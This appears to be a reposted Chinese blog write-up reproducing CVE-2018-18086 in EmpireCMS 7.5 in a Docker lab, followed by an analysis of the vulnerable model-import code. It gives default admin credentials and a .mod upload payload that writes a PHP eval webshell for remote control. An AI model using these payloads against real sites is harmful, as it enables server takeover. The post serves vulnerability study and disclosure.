0


帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

文章目录


一、简述👋

  • 漏洞描述 EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS),EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行,EmpireCMS7.5版本中的/e/class/moddofun.php文件的LoadInMod函数存在安全漏洞,攻击者可利用该漏洞上传任意文件,该漏洞编号为CVE-2018-18086
  • 影响版本 EmpireCMS<=7.5
  • 官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/

二、安装环境👋

  • docker拉取镜像empirecms-cve_2018_18086

在这里插入图片描述

  • 创建容器

在这里插入图片描述

  • 如果对docker安装不熟悉,可以参考文章:Centos使用Docker搭建Lamp环境,一步到位
  • 这样打开网站IP后,发现直接就是根目录,我们需要把/var/www/html/empirecms目录里的文件复制到/var/www/html/去,避免暴露根目录

三、漏洞复现👋

1、直接在

empirecms/e/admin

下打开管理后台

在这里插入图片描述

2、在爆破或账号密码进入后台后(默认账号密码为admin/123456)

在这里插入图片描述

3、依次点开系统,打开管理数据表,选择导入系统模型

新建shell.php.mod文件并上传,文件内容如下:

file_put_contents("1shell.php",<?php phpinfo();?>);

在这里插入图片描述

4、在导入文件后

生成的

1shell.php

文件在

/admin目录

下,即可访问

empirecms/e/admin/shell.php

在这里插入图片描述
5、同时,如果为了连接蚁剑等,注意

$符号

需要转义

<?phpfile_put_contents("getshell.php","<?php @eval(\$_POST[123]);?>");?>

四、原理分析👋

1、下载安装文件分析,在

/e/admin/ecmsmod.php

文件下的导入模型

在这里插入图片描述

2、而进入到LoadlnMod函数,来到

/e/class/moddofun.php

在这里插入图片描述

  • 标注第一点,判断上传文件类型,文件后缀只能是.mod
  • 标注第二点,上传文件处使用time().make_password(10)进行文件名加密,同时拼接.php作为文件名
  • 标注第三点,用include进行一次包含,执行上传的PHP代码,即可以通过创建文件的代码绕过

3、因为一开始的导入模型文件是在

/e/admin

目录下,所以创建的

shell.php

/admin

目录下

在这里插入图片描述

标签: php 安全 web安全

本文转载自: https://blog.csdn.net/m0_55793759/article/details/126711655
版权归原作者 迷途羔羊pro 所有, 如有侵权,请联系我们删除。

“帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现”的评论:

还没有评论